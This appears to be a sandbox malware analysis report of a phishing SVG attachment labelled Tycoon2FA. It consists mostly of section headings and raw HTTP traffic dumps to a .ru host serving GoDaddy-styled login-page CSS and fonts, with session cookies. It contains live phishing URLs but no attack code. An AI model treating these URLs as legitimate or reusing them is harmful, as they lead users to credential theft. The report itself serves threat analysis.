nputfield>span{color:#fff;margin:3px}#sections_doc .login .selectProvider .passinputfield>input,#sections_pdf .login .selectProvider .passinputfield>input{width:auto;height:35px;font-size:18px;padding-left:10px;border-radius:5px;border:none;letter-spacing
2025-03-19 13:50:05 UTC	324	IN	Data Raw: 74 3a 6e 6f 72 6d 61 6c 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 69 6e 6e 65 72 2d 36 32 34 7b 70 61 64 64 69 6e 67 3a 30 20 32 30 70 78 20 33 30 70 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 77 69 64 74 68 3a 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 32 38 38 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 69 6e 6e 65 72 43 6f 6e 74 65 6e 74 2d 36 32 35 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 69 64 74 68 3a 31 30 30 25 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 63 73 73 2d 36 31 30 2c 61 3a 61 63 74 69 76 65 2c 61 3a 68 6f 76 Data Ascii: t:normal}#sections_doc .inner-624{padding:0 20px 30px;box-sizing:border-box;min-height:20px;background-color:#fff;width:auto;max-width:390px;min-width:288px}#sections_doc .innerContent-625{position:relative;width:100%}#sections_doc .css-610,a:active,a:hov
2025-03-19 13:50:05 UTC	1369	IN	Data Raw: 31 39 34 38 0d 0a 69 6f 6e 73 2d 36 34 30 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 33 32 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 6d 61 72 67 69 6e 3a 32 35 70 78 20 30 20 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 61 63 74 69 6f 6e 73 52 69 67 68 74 2d 36 34 32 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 70 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2d 34 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 61 63 74 69 6f 6e 2d 36 34 31 7b 6d Data Ascii: 1948ions-640{position:relative;width:100%;min-height:32px;line-height:24px;margin:25px 0 0;font-size:0px}#sections_doc .actionsRight-642{align-items:center;display:flex;font-size:0px;justify-content:flex-end;margin-right:-4px}#sections_doc .action-641{m

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

Initial Sample

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Chrome Cache Entry: 127

Chrome Cache Entry: 128

Chrome Cache Entry: 129

Chrome Cache Entry: 130

Chrome Cache Entry: 131

Chrome Cache Entry: 132

Chrome Cache Entry: 133

Chrome Cache Entry: 134

Windows Analysis Report
View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:43 UTC	1368	OUT	GET /xy6iyAYh6ursqutHef30 HTTP/1.1 Host: behy.jsrjesdc.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
2025-03-19 13:49:43 UTC	1080	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 13:49:43 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="xy6iyAYh6ursqutHef30" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l%2B816Myq3rwVVY1zFv%2F5%2FWM%2FFFiZ%2BOy2wUKEqDcAQK49aDyORGkNpEVMDJJ0ypjhBOEJHi86XaGCxdQyTcsRWzjqyZb0fGgKh0Hwm8xYlTwik1AJt6aoMO08mZ6Y"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=309&min_rtt=291&rtt_var=116&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2273&delivery_rate=10186397&cwnd=252&unsent_bytes=0&cid=0cf2c6b48e5071ec&ts=173&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 922d6f4b5f91e1d4-MRS alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=11422&min_rtt=11385&rtt_var=4296&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1940&delivery_rate=254369&cwnd=251&unsent_bytes=0&cid=387bb2991f6bfa8d&ts=412&x=0"
2025-03-19 13:49:43 UTC	289	IN	Data Raw: 33 37 62 36 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 7b 0d 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 67 64 73 68 65 72 70 61 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 32 72 71 61 70 77 2c 23 30 30 30 29 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 Data Ascii: 37b6#sections_godaddy {font-family: gdsherpa !important;}#sections_godaddy a { color: var(--ux-2rqapw,#000); -webkit-text-decoration: var(--ux-1f7if5p,underline); text-decoration: var(--ux-1f7if5p,underline); background-color: transpar
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 20 7b 0d 0a 20 20 20 20 66 6c 65 78 3a 20 31 20 31 20 30 25 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 3a 68 6f 76 65 72 20 7b 0d 0a 2f 2a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 31 6a 38 37 76 76 6e 2c 23 66 66 66 29 3b 2a 2f 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 74 30 6b 68 6d 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 74 30 6b 68 6d 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 73 76 67 20 7b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 20 76 Data Ascii: { flex: 1 1 0%;}#sections_godaddy a:hover {/* color: var(--ux-1j87vvn,#fff);*/ -webkit-text-decoration: var(--ux-1ft0khm,underline); text-decoration: var(--ux-1ft0khm,underline);}#sections_godaddy svg { overflow: hidden; v
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 72 65 6d 29 20 2a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 61 64 6a 75 73 74 6d 65 6e 74 2c 31 29 29 3b 0d 0a 20 20 2d 2d 75 78 53 70 61 63 65 2d 2d 67 61 70 2d 73 69 7a 65 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 7a 64 30 73 65 72 2c 33 29 20 2a 20 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 67 61 70 2d 61 64 6a 75 73 74 6d 65 6e 74 2c 31 29 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 69 6e 6c 69 6e 65 3a 65 6d 70 74 79 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 0d 0a 20 20 69 6e 6c 69 6e 65 2d 73 69 7a Data Ascii: rem) * var(--uxSpace--padding-adjustment,1)); --uxSpace--gap-size: calc(var(--ux-zd0ser,3) * var(--ux-1sbfig8,.25rem) * var(--uxSpace--gap-adjustment,1));}#sections_godaddy .ux-space.ux-space--inline:empty { display: inline-flex; inline-siz
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 70 76 32 2c 31 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 31 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 29 20 76 61 72 28 2d 2d 75 78 2d 6f 6c 30 37 30 33 2c 2f 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 32 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 31 29 20 76 61 72 28 2d 2d 75 78 2d 6f 6c 30 37 30 33 2c 2f 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 31 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 Data Ascii: pv2,1rem)); --uxText--fontSize-1: calc(var(--uxText--fontSize0) var(--ux-ol0703,/) var(--ux-7s4p3v,1.125)); --uxText--fontSize-2: calc(var(--uxText--fontSize-1) var(--ux-ol0703,/) var(--ux-7s4p3v,1.125)); --uxText--fontSize1: calc(var(--uxText--f
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 2d 2d 75 78 2d 63 61 6f 30 36 62 2c 23 66 66 66 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 39 37 68 33 76 6c 2c 23 64 33 64 33 64 33 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 76 61 72 28 2d 2d 75 78 2d 31 39 77 72 33 6b 71 2c 31 70 78 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 76 61 72 28 2d 2d 75 78 2d 32 6a 75 62 65 73 2c 32 70 78 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 61 6c 65 72 74 20 61 5b 68 72 65 66 5d 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 74 65 Data Ascii: --ux-cao06b,#fff); border-color: var(--ux-97h3vl,#d3d3d3); border-width: var(--ux-19wr3kq,1px); border-radius: var(--ux-2jubes,2px);}#sections_godaddy .ux-alert a[href] { color: inherit; display: inline;}#sections_godaddy .ux-te
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 38 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0d 0a 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 64 2d 66 6c 65 78 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 66 6c 65 Data Ascii: argin-right: auto; padding-left: 8px; padding-right: 8px;}#sections_godaddy .container-fluid::after { content: ""; display: table; clear: both;}#sections_godaddy .d-flex { display: flex!important;}#sections_godaddy .fle
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 73 66 6f 72 6d 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 3a 66 6f 63 75 73 20 7b 0d 0a 20 20 6f 75 74 6c 69 6e 65 3a 20 76 61 72 28 2d 2d 75 78 70 2d 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 2d 6f 75 74 6c 69 6e 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 2c 69 6e 70 75 74 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 76 69 73 69 62 6c 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 Data Ascii: sform: none;}#sections_godaddy button:focus { outline: var(--uxp-focus-visible-outline);}#sections_godaddy button,input { margin: 0; font-family: inherit; font-size: inherit; line-height: inherit; overflow: visible;}#se
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 63 6f 6c 75 6d 6e 3b 0d 0a 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 30 3b 0d 0a 20 20 77 6f 72 64 2d 77 72 61 70 3a 20 62 72 65 61 6b 2d 77 6f 72 64 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6c 69 70 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 61 72 64 2d 62 6c 6f 63 6b 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 63 61 72 64 Data Ascii: column; min-width: 0; word-wrap: break-word; background-clip: border-box; margin-bottom: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .card-block { padding: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .ux-card
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 2e 75 78 2d 74 65 78 74 2d 73 69 7a 65 2d 31 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 31 29 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 33 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 3a 6e 6f 74 28 5b 64 69 73 61 62 6c 65 64 5d 29 3a 68 6f 76 65 72 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 31 6b 79 79 62 70 62 2c 76 61 72 Data Ascii: ns_godaddy .ux-button:not(.ux-button-inline).ux-text-size-1 { padding: calc(var(--ux-1sbfig8,0.25rem)1) calc(var(--ux-1sbfig8,0.25rem)3);}#sections_godaddy .ux-button:not(.ux-button-inline):not([disabled]):hover { color: var(--ux-1kyybpb,var
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 78 74 2d 61 63 74 69 6f 6e 20 7b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 3a 20 76 61 72 28 2d 2d 75 78 2d 37 34 73 31 62 6b 2c 76 61 72 28 2d 2d 75 78 2d 63 78 62 65 38 67 2c 31 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 6c 69 6e 65 48 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 31 64 72 79 32 70 6a 2c 76 61 72 28 2d 2d 75 78 2d 6a 77 35 73 39 6a 2c 31 2e 35 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 61 72 28 2d 2d 75 78 2d 31 69 72 38 76 74 76 2c 76 61 72 28 2d 2d 75 78 2d 67 66 6e 75 70 76 2c 73 61 6e 73 2d 73 65 72 69 66 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 34 67 31 72 32 74 2c 76 61 72 28 2d 2d 75 78 2d 6a 34 30 79 79 64 2c 34 30 30 Data Ascii: xt-action { --uxText--fontSize0: var(--ux-74s1bk,var(--ux-cxbe8g,1rem)); --uxText--lineHeight: var(--ux-1dry2pj,var(--ux-jw5s9j,1.5)); font-family: var(--ux-1ir8vtv,var(--ux-gfnupv,sans-serif)); font-weight: var(--ux-4g1r2t,var(--ux-j40yyd,400

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:43 UTC	1382	OUT	GET /GDSherpa-bold.woff2 HTTP/1.1 Host: behy.jsrjesdc.ru Connection: keep-alive Origin: https://behy.jsrjesdc.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
2025-03-19 13:49:43 UTC	1172	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 13:49:43 GMT Content-Type: font/woff2 Content-Length: 28000 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff2" cf-cache-status: HIT Age: 5614 Last-Modified: Wed, 19 Mar 2025 10:18:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H2KPMquz%2BztzCTTXVYym9AvdiFUn6XNK%2Fk3jETEHV9b8bTVV4%2FImt6y8TJWNHd%2BcellP1NQeBznFebGuNt%2FpDyLyWs%2BbDi5YRozarwDzqZsafvS6va3%2BnsMWMLKE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=19134&min_rtt=19081&rtt_var=5404&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2315&delivery_rate=210899&cwnd=246&unsent_bytes=0&cid=3cdc01abd53205a8&ts=44&x=0" Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 922d6f4b5da9e1d9-MRS alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=11478&min_rtt=11469&rtt_var=4307&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1954&delivery_rate=252506&cwnd=251&unsent_bytes=0&cid=544845094f07c02e&ts=48&x=0"
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6d 60 00 10 00 00 00 01 24 08 00 00 6c fd 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 9d 36 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 bb 24 82 9c 7f 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 03 07 97 7b 0c 81 0d 5b 09 10 71 05 6b b7 5d 5d 4f 88 db 06 10 73 b3 fd a9 7c 99 02 6e 8c 9b c7 21 18 d6 5b 3c 3b 10 83 ee e0 50 26 a6 cf 67 ff ff ff bf 21 a9 c8 98 49 27 69 b7 0d 51 01 44 50 d5 df 9f c4 1e 39 02 92 4a a0 06 b7 80 17 c1 39 47 eb 95 e9 98 51 31 28 8b f2 29 4a 6e c6 19 d5 d4 c5 d4 38 59 f3 d2 1b f9 1a 98 29 4a ce 46 0e 63 20 41 96 af 37 6b ab 76 b3 8b e9 32 3d a1 5a ee 6e fa 34 60 12 ed 81 a0 c0 7e 4e 6c a4 81 ef 34 3b aa 91 07 53 f6 6c 7b 77 c7 c7 3a ae 23 d5 ee aa 3d 21 bc 20 Data Ascii: wOF2m`$lB6`<<b$6$x> {[qk]]Os\|n![<;P&g!I'iQDP9J9GQ1()Jn8Y)JFc A7kv2=Zn4`~Nl4;Sl{w:#=!
